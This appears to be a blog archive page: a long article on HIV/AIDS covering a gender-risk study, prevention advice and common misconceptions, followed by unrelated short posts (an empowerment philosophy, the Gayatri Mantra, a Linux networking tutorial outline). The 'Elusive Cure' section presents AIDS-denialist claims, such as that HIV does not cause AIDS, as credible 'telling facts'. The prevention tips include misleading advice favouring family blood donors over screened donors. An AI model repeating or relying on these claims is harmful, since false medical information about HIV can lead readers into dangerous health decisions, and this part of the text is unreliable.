symptoms such as weight loss, diarrhea, and swollen lymph glands.Scientists have recently discovered clues to why some patients develop AIDS quickly. In a study published last March in the journal Science, National Cancer Institute researchers found that inherited genes may set the clock for AIDS progression. Certain gene patterns tend to stave off AIDS, while others promote it. The researchers say the study may help lead to an AIDS-preventive vaccine or improved therapies against the virus.

Gender Differences in the Risk of HIV Infection

HIV risk factors among injection drug users (IDUs) differ markedly by gender, according to a 10-year study funded by the National Institute on Drug Abuse (NIDA). A recent study by researchers at the Johns Hopkins University reported that while drug-related risk behaviors and homosexual activity are the most important predictors of HIV seroconversion among males, factors consistent with high-risk heterosexual activities are the main predictors among females. The findings, reported in the May 28 (2001) issue of the Archives of Internal Medicine, provide insight into the relationship between gender and high-risk sexual behaviors in the development of HIV infection.

"Early studies of injection drug users suggested that most HIV infections were due primarily to sharing needles," said NIDA Director Alan I. Leshner, Ph.D. "This study adds to the body of evidence that supports the need for gender-specific interventions in the treatment of that group of drug users.

"Between 1988 and 1998, a team of researchers, led by Dr. Steffanie Strathdee at the Johns Hopkins University Bloomberg School of Public Health, examined both drug related and sexual risk factors for HIV transmission in a study of more than 1,800 injecting drug users in Baltimore, Maryland. Study participants were aged 18 or older, did not have an AIDS defining illness at enrollment, and reported a history of illicit injection drug use within the previous 10 years. Through semiannual interviews, researchers collected data on drug use history, sociodemographics, and drug use and sexual behavior within the last 6 months. Blood samples were also obtained at each study visit. Researchers used commercial HIV and antibody ELISA to identify those participants who had become HIV positive since their last visit.

Dr. Strathdee and her colleagues found that the greatest predictor for HIV seroconversion among both male and female IDUs was high-risk sexual behavior. Study findings revealed that male injection drug users who reported recent homosexual activity were four times more likely to become infected with HIV.

Among females, indicators of high-risk heterosexual activity outweighed needle-sharing behaviors as independent predictors of HIV seroconversion. HIV incidence was more than two times higher among women who reported recently having sex with another injection drug user.

Another common predictor of HIV seroconversion observed by researchers among both male and female IDUs was younger age. Investigators found that IDUs who were aged 30 or younger at enrollment were more than twice as likely to seroconvert than those aged 40 or older.

"This is consistent with several reports which indicate that younger IDUs are more likely to engage in needle sharing and other behaviors that place them at higher risk of acquiring HIV and hepatitis B or C viruses," stated Dr. Strathdee.

While AIDS is a high-risk disease it can be prevented if proper precautions are taken and greater awareness meted out to those who are ignorant of the virus and its repercussions on the human body. Here we have listed a few measures which can be adopted by everyone inorder to stave off the insidious entry of HIV.• Prevention is still the best bet. Promiscuous sexual behavior can leave a person highly susceptible to contracting the virus. Where abstinence is not possible, always use latex condoms. The female condom can also help protect both partners. Use only water-based lubricants. Oil lubricants (such as Vaseline) might even tear latex condoms. Use spermicidal (birth control) foams and jellies in addition to condoms. By themselves, spermicides may not be effective in preventing HIV.

• Avoid alcohol or drugs during sex, you might lose control of your senses and engage in unsafe sex. Stick to safer sex practices at all times and avoid having multiple partners. Practice monogamy. If this is a tall order, serial relationships are a lesser evil than multiple ones.
• High-risk sexual behavior should be avoided at all costs. These include: oral genital sex involving contact with semen or vaginal fluids, oral anal sex, vaginal sex without a condom, anal sex sans a condom (active or passive), fisting or manual anal intercourse, the sharing of sex toys, using saliva for lubrication and blood contact of any kind during performance. If unable to resist oral sex, use a dental dam. If a woman is infected, avoid sex during the menses as menstrual blood is infectious
• For transfusions, use disposable syringes and needles. Ensure you get blood that is screened and certified as HIV-free. Better still, get blood from close family members rather than professional donors whose medical antecedents are nebulous.
• The presence of sexually transmitted diseases (STDs) increases the risk of contracting HIV from an infected partner. STDs could cause breaks in the skin of the vagina, penis or anus permitting the virus to enter your bloodstream. If you ever contract an STD of any kind, ensure you get prompt treatment.
• The CDC recommends that an HIV-positive woman should not breast-feed her baby. The infant should be given AZT for the first several weeks to substantially reduce the risk of infection.

Say 'AIDS' and dime-a-dozen misconceptions abound. The chart topper is that AIDS is supposedly a disease of gay men and intravenous drug users. The facts are otherwise. No doubt in the early years many HIV-positive cases were reported amongst the Western gay community. In recent years, however, prevalence rates among gays have leveled off. Instead, heterosexual transmission has been forging ahead of all other modes of transmission.

The AIDS virus is NOT contracted through touching, hugging, kissing, massage, sharing toilet seats, drinking or eating from utensils used by an infected person or any other mode of casual contact. Nor does working, socialising and living with infected people cause the disease.

Repeated sexual contact without proper precautions with an infected person, using an infected syringe, exposure to infected blood or sexual fluids are ways through which the disease can be transmitted.

Donating blood also does not run the risk of disease contraction since needles used for such purposes are always sterile. Since the AIDS virus is unable to survive outside the human body beyond a short duration, dried blood is not infectious For this reason, mosquitoes are incapable of transmitting HIV as the virus cannot replicate itself in the intestine of insects.

Although medical personnel are potentially at risk from infection, this is minimal if protective gear such as gloves, masks and goggles are always used when handling potentially infected material.

The Elusive Cure

The large-scale infections and deaths have spurred a spate of worldwide efforts for a cure. In the US, however, AIDS cases are said to be dropping and new infections leveling off. Mortality from AIDS is also dropping.

In the developing countries, though, the cases continue to rise alarmingly. Globally, three million died in the year 2000, with 5.3 million newly infected people, 95 percent of whom might die.

Many scientists, doctors and researchers contend that AIDS is not a new disease, having been around much longer than people believe. Dr. Robert Willner—author of Deadly Deception: The Proof That Sex and HIV Absolutely Do Not Cause AIDS—asserts that HIV is not the cause of AIDS. He claims that nearly 500 hundred top scientists of the world have challenged the hypothesis of Robert Gallo—who patented the HIV test the day after the AIDS virus was discovered—that HIV is the precursor of AIDS.

Besides other telling facts, the dissenters want to know how one can explain HIV-free AIDS cases, of which there are said to be nearly 5,000 on record.

Dr. Frank Shallenberger, a licensed medical and homeopathic practitioner, says that statistics are only a correlation—not a result—that HIV is one cause of AIDS, citing the fact that some AIDS victims do not have HIV antibodies. Dr. Shallenberger considers AIDS a multifactorial disease that strikes when the immune system is down.

The search for a cure, also brings to light other interesting facets. African chimpanzees have been harboring the simian equivalent of the AIDS virus for centuries, according to detailed studies conducted by researches at the University of Alabama in Birmingham. Why don't the chimps succumb to the virus?

Says Dr. Anthony Fauci from the National Institutes of Health: "There must be something about the chimp's immune system or some host defense system that is doing a very good job of containing the virus. If we find that out we may be able to extrapolate to humans."

Chimpanzees being the closest living relatives of humans, their DNA differs from human DNA by less than two percent. Adds Dr. Fauci: "It's entirely conceivable that the very small genetic differences between the chimp and the human will explain why the chimpanzee does not get sick and the human does."

PHILOSOPHY OF EMPOWERMENT

2008-12-23T13:38:00.000+05:30

The survival of Mankind as a species is in jeopardy.The only solution is an intentional commitmentto the Fulfillment of Mankind's Potential,which requires the Fulfillment of Individual Potential– thru Empowerment –of enough Individuals to tip the balancetoward the practice of Reason.
Ayn Rand produced the Objectivist philosophy. Albert Camus defined the Existentialist philosophy. And yet, Reason is still in short supply.
I say that Reason is the only frontier left, and that Reason is necessary to prevent Mankind's senseless self-destruction.
The 'Working Minds' Philosophy of Empowerment isinnovative, pragmatic, and progressive.
It is based partly on the ideas of Ayn Rand, Albert Camus,Eric Berne [Transactional Analysis], Carlos Castañeda, C. Wright Mills,Thorstein Veblen and others, with a little quantum physics andmany other ideas ... plus a host of original thought.
The Working Minds Philosophy of Empowerment defines strategies and techniques with which you will be able to handle successfully anything that Life brings your way.
The development of your Working Mind is entirely your Responsibility – at all times. How far you go in developing your Working Mind is a function of your Commitment to being a Self, an Individual who IS Responsible.
That – and only that – Commitment to being Responsible for being an Individual, in the face of ceaseless pressure to revert to subjugation by the internal False Mind and by the external Culture-Structure, is the necessary Context for the fulfillment of your existential potential.
The development by your Self, within your Self of your latent Working Mind is crucial and necessary for the survival of the human species. Without you, Mankind is lost. With your Working Mind developed and engaged, the Culture-Structure becomes irrelevant.

Gayatri Mantra

2008-12-22T13:40:00.004+05:30

GAYATRI MANTRA

"Aum Bhoor Bhuwah Swaha,

Tat Savitur Varenyam.
Bhargo Devasaya Dheemahi,

Dhiyo Yo Naha Prachodayat"

Networking with LINUX

2008-12-22T11:27:00.003+05:30

Linux Networking

This tutorial covers TCP/IP networking and system configuration basics. Linux can support multiple network devices. The device names are numbered and begin at zero and count upwards. For example, a computer running two ethernet cards will have two devices labeled /dev/eth0 and /dev/eth1. Linux network configuration, management, monitoring and system tools are covered in this tutorial.
Tutorial Contents:

# Configuration files
# Red Hat Linux network GUI configuration tools.
# Assigning an IP address
# Activating and De-Activating your NIC
# Subnets
# Enable Forwarding
# Adding a network interface card (NIC)
# Route
# VPN, Tunneling
# Usefull Linux networking commands
# inetd/xinetd: Network Socket Listener Daemons
# rwhod: Remote Who Daemon
# RPC: Remote Procedure Call. (portmapper)
# PAM: Network Wrappers.
# ICMP protocol.
# Network Monitoring Tools
# IDS: Intruder Detection System - SNORT
# ARP: Address Resolution Protocol
# Configuring Linux For Network Multicast
# Living in a MS/Windows world
# Network Definitions
# Related Links